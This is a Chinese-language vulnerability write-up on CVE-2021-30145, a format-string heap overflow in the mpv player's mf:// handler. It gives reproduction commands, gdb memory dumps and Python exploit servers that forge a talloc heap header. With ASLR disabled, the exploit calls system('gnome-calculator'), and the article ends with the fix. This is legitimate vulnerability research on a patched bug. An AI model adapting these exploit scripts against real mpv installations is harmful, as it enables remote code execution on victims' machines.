某mpv播放器因格式化字符串导致远程代码执行漏洞深入分析(CVE-2021-30145)

robots

 

一、背景介绍

mpv项目是开源项目,可以在多个系统包括Windows、Linux、MacOs上运行,是一款流行的视频播放器,mpv软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

 

二、环境搭建

系统环境为Ubuntu x64位,软件环境可以通过两种方式搭建环境。
a. 通过源码编译,源码地址为:
https://github.com/mpv-player/mpv/tree/v0.33.0
下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip
b. 直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:
sudo add-apt-repository ppa:mc3man/mpv-tests
sudo apt-get update
sudo apt-get install mpv
参考https://blog.csdn.net/qq_34626094/article/details/113122032
安装完成后运行软件如下所示:

 

三、漏洞复现

源代码:

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是目标缓冲区,参数2是格式化字符串,参数2是可控的,第三个参数是循环次数,mpv程序本身支持文件名中传入一个%,可以使用%d打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及%的个数,所以存在格式化字符串漏洞:

在demux_mf.c文件中127行会检查是否存在%,没有判断有几个%,以及%之后的参数。
程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p

运行mpv时使用-v参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。
demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是缓冲区,参数2是格式化字符串,这是可控的,现在为了安全都使用snprintf函数,可以限制缓冲区的大小,使用sprintf函数会造成信息泄漏,图中fname是堆中的缓冲区地址:

程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的124行调用talloc_size来申请内存,申请大小为文件名的大小加32个字节,如果使用格式字符串例如%1000d,会把一个四字节数据扩展到占用1000个字节,这样会导致堆溢出。

上图中,启动mpv时传入参数 mf://%1000d会导致程序崩溃。

 

四、漏洞分析

通过源码编译后可以根据符号对程序下断点,先查看下open_mf_pattern漏洞函数:
使用gdb启动mpv程序

gdb ./mpv
~~~
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
~
0x00000000001e44af <+559>: call 0x1305a0 __sprintf_chk@plt
~

可以看到在open_mf_pattern+0x559处调用的是sprintf_chk函数,这是因为使用源码编译时使用了FORTIFY_SOURCE选项,对sprintf函数的调用会自动修改为调用sprintf_chk函数,可以在gdb-peda下输入checksec检查:

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED 可以看到开启了FORTIFY选项
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$

sprintf_chk函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过talloc_size申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用0xFFFFFFFFFFFFFFFF来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在Ubuntu 20.04.1 LTS系统和关闭ASLR情况下利用此漏洞:

 

五、漏洞利用程序开发

开发利用程序前,需要使用sudo sh -c “echo 0 > /proc/sys/kernel/randomizeva_space”命令关闭系统的ASLR功能。
mpv程序运行时会把格式化字符串块保存在自定义的块中,使用talloc_size来分配内存,还有自定义的堆头结构。

struct ta_header {
size_t size; // size of the user allocation
// Invariant: parent!=NULL => prev==NULL
struct ta_header prev; // siblings list (by destructor order)
struct ta_header next;
// Invariant: parent==NULL || parent->child==this
struct ta_header child; // points to first child
struct ta_header parent; // set for _first child only, NULL otherwise
void (destructor)(void );
unsigned int canary;
struct ta_header leak_next;
struct ta_header leak_prev;
const char name;
};

可以在ta.c文件中看到此结构的内容以及对应的函数,此结构中包含一个destructor,是析构指针,还有一个值是canary,编译选项TA_MEMORY_DEBUGGING默认是启用的,此值为固定值0xD3ADB3EF,是为了检测程序是否有异常。
当调用ta_free函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。

在此函数内部还调用了get_header函数,函数内容为

根据堆块地址ptr往低地址偏移固定字节找到堆头结构地址tag_head,然后调用ta_dbg_check_header函数

ta_dbg_check_header函数会检查canary值是否为0xD3ADB3EF,如果parent不为空,还会判断前向节点和父节点。

5.1 覆盖destructor指针

漏洞利用思路为调用sprintf函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用ta_free函数时,如果析构指针不为空,那么就会调用析构函数。
mpv程序在运行时可以读取m3u文件列表,如使用命令

./mpv http://localhost:7000/x.m3u

mpv程序会去连接本地的7000端口,并获取x.m3u文件,获取的内容mf://及之后的内容保存在堆中,当mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当mpv将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。
使用如下的POC测试占用不同的空间可以将文件名称内容放到合适的地址处:

#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x40
playlist += b’%d’ # we need a ‘%’ to reach vulnerable path
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()

代码中使用playlist += b’A’0x40来占位,0x40是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用gdb调试mpv程序:gdb ./mpv
使用命令b open_mf_pattern+559在调用sprintf_chk函数处下断点,使用命令运行 mpv程序:r http://localhost:7000/x.m3u

可以看到第一个参数arg[0]数据为0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是为了查看堆头结构的数据

gdb-peda$ x/100xg 0x7fffec001210-0x50
0x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]
0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec0011e0: 0x00007fffec001140 0x0000000000000000 [parent] | [destructor]
0x7fffec0011f0: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]
0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data
0x7fffec001220: 0x00007fffec004df0 0x00007fffec001610
0x7fffec001230: 0x0000000000000000 0x0000000000000000
0x7fffec001240: 0x0000000000000000 0x0000000000000000
0x7fffec001250: 0x0000000000000000 0x0000000000000000
0x7fffec001260: 0x0000000000000000 0x0000555556c288a0
0x7fffec001270: 0x736f686c61636f6c 0x782f303030373a74
0x7fffec001280: 0x00000000000000d0 0x0000000000000065
0x7fffec001290: 0x000055555732dc00 0x0000555557315010
0x7fffec0012a0: 0x0000000000000000 0x0000000000000000
0x7fffec0012b0: 0x0000000000000000 0x0000000000000000
0x7fffec0012c0: 0x0000000000000000 0x0000000000000000
0x7fffec0012d0: 0x0000000000000000 0x0000000000000000
0x7fffec0012e0: 0x0000000000000000 0x0000000000000045
0x7fffec0012f0: 0x0000000000000000 0x0000000000000000
0x7fffec001300: 0x0000000100000000 0x0000000000000001
0x7fffec001310: 0x0000000000000000 0x0000000000000000
0x7fffec001320: 0x00000073656c6966 0x0000000000000051
0x7fffec001330: 0x00007fffec0047d0 0x00007fffec0046e0
0x7fffec001340: 0x0000000000000000 0x0000000000000000
0x7fffec001350: 0x0000000000000000 0x0000000000000000
0x7fffec001360: 0x0000000000000000 0x0000000000000000
0x7fffec001370: 0x0000000000000050 0x0000000000000044
0x7fffec001380: 0x0000000000000000 0x0000000000000000
0x7fffec001390: 0x0000000100000000 0x7470797200000001
0x7fffec0013a0: 0x0000000000000000 0x0000000000000000
0x7fffec0013b0: 0x00646d6574737973 0x0000000000000021
0x7fffec0013c0: 0x00007fffec005570 0x00007fffec0177c0
0x7fffec0013d0: 0x0000000000000020 0x0000000000000044
0x7fffec0013e0: 0x0000000000000000 0x0000000000000000
0x7fffec0013f0: 0x0000000100000000 0x0000000000000001
0x7fffec001400: 0x0000000000000000 0x0000000000000000
0x7fffec001410: 0x0000000000736e64 0x0000000000000035
0x7fffec001420: 0x3638782f62696c2f 0x756e696c2d34365f
0x7fffec001430: 0x696c2f756e672d78 0x6c69665f73736e62
0x7fffec001440: 0x00322e6f732e7365 0x0000000000000065
0x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]
0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data

堆块的实际数据起始地址为0x7fffec001210,堆头地址为0x7fffec0011C0,紧随其后有一个堆头结构位于0x7fffec001450。
使用如下poc脚本即可覆盖0x7fffec001450堆头结构中的destructor指针

#!/usr/bin/env python3
import socket
from pwn import 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’*0x10
playlist += b’%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22’
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()

正常情况下%c即可格式化一个char类型的数据,使用%590c是为了似乎用空格字符占用更多的字节,让程序去处理目的地址590个字节后面的数据,%c%c的目的是跳到一个参数,该参数的值为0,%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c将8个字节的0x00写到父指针parent中,绕过ta_dbg_check_header函数中对前向节点和父节点的检查。6个\x22将0x222222222222写入到destruct指针中。
程序会多次运行到sprintf_chk函数处,从源代码中可以看到程序会运行5次,在最后一次运行结束后,查看后续堆的头结构内容如下:

gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]
0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000

当前已经覆盖了destructor指针为0x0000222222222222。 输入指令c并回车继续运行:

可以看到出现段错误,RIP为0x222222222222,将要执行到RIP指向的指令,但是内存地址不合法导致程序出现段错误。

5.2 覆盖child指针

目前只修改到了RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到:

在ta.c文件中可以看到调用析构函数后,还调用了ta_free_children释放子节点,在ta_free_children函数中调用ta_free释放子节点,然后在此函数中又判断子节点的destructor指针,如不为0,则调用destructor指向内存的代码。
现在需要换一种漏洞利用思路,即覆盖到堆头结构中的child指针,如果这个child块是我们自己可以构造的一个假块,构造destructor指针为system函数的地址,canary值为固定值0xd3adb3ef,还需构造假块的parent为0,就可以绕过判断,调用system函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。
还需要构造这个假块, mpv程序读取m3u文件列表时,会接收http报文,http报文中包含了文件名数据,还可以在http报文中构造一个假块,当关闭ASLR情况下,http报文中假块的堆头结构地址是固定的0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:

  1. http报文在内存中的地址与调用sprintf时的目的地址在同一块内存中。
  2. 程序在调用sprintf断下后,使用vmmap查看进程模块占用了哪些内存页面,查看sprintf函数的第一个参数落到哪个内存块中:

    如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。
  3. 使用二进制文本搜索工具如winhex,搜索gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。

    图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。
  4. 找到假块堆头在文件中的位置为0x1DD8,那在内存中的位置为0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应EXP中子块的指针

在gdb-peda插件下输入命令:print system,可以定位到system函数的地址,修改脚本中SYSTEM_ADDR为system函数对应地址。
EXP脚本如下:

#!/usr/bin/env python3
import socket
from pwn import 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x30
playlist += b’%550c%c%c’
playlist += b’\xd8\x1d%4$c\xec\xff\x7f’ # overwriting child addr with fake child
SYSTEM_ADDR = 0x7ffff760c410
CANARY = 0xD3ADB3EF
fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’PL: ‘
d += fake_chunk
d += b’gnome-calculator\x00’
d += b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()

使用gdb启动mpv后,下断点b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u运行程序,多次运行sprintf_chk后查看内存数据:

gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020
0x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000

child指针此时为0x00007fffec001dd8,查看child中的数据:

gdb-peda$ x/20xg 0x00007fffec001dd8
0x7fffec001dd8: 0x0000000000000000 0x0000000000000000
0x7fffec001de8: 0x0000000000000000 0x0000000000000000
0x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]
0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001e18: 0x0000000000000000 0x0000000000000000
0x7fffec001e28: 0x61632d656d6f6e67 0x726f74616c75636c
0x7fffec001e38: 0x3a666d0a0d0a0d00 0x4141414141412f2f
0x7fffec001e48: 0x4141414141414141 0x4141414141414141
0x7fffec001e58: 0x4141414141414141 0x4141414141414141
0x7fffec001e68: 0x4141414141414141 0x2563303535254141

地址0x7fffec001e28处对应的是堆实际数据,对应的是字符串数据gnome-calculator,
destructor为system函数的地址,按c回车运行:

可以看到弹出了计算器。
总结一下利用思路:

  1. mpv程序在读取m3u文件列表时会使用http协议从服务端上取出对应的文件名称
  2. 服务端发送http报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容
  3. mpv取到对应的文件名称时会调用sprintf_chk时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个0xFFFFFFFFFFFFFFFF作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖child指针。
  4. 这个child指针指向一个假块,假块内容是服务器端使用http协议发过来的数据,假块包括头结构和实际数据,头结构中destructor字段修改system函数的地址,当释放这个child块时,会判断destructor指针是否为空,不为空则调用destructor指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串gnome-calculator,所以调用析构函数时效果相当于调用system(“gnome-calculator”)。
    注意需要关闭系统的ASLR,这样system函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过ASLR。

 

六、漏洞修复:

目前该漏洞已经修复,本身程序运行时是支持文件名中带一个%d的格式化字符串,修复后检查只有一个%,并且是%d,如果是其他的参数则不合法。

对sprintf函数的调用修改为调用snprintf,限制了缓冲区的大小。

 

七、参考链接:

mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145):
https://devel0pment.de/?p=2217

(完)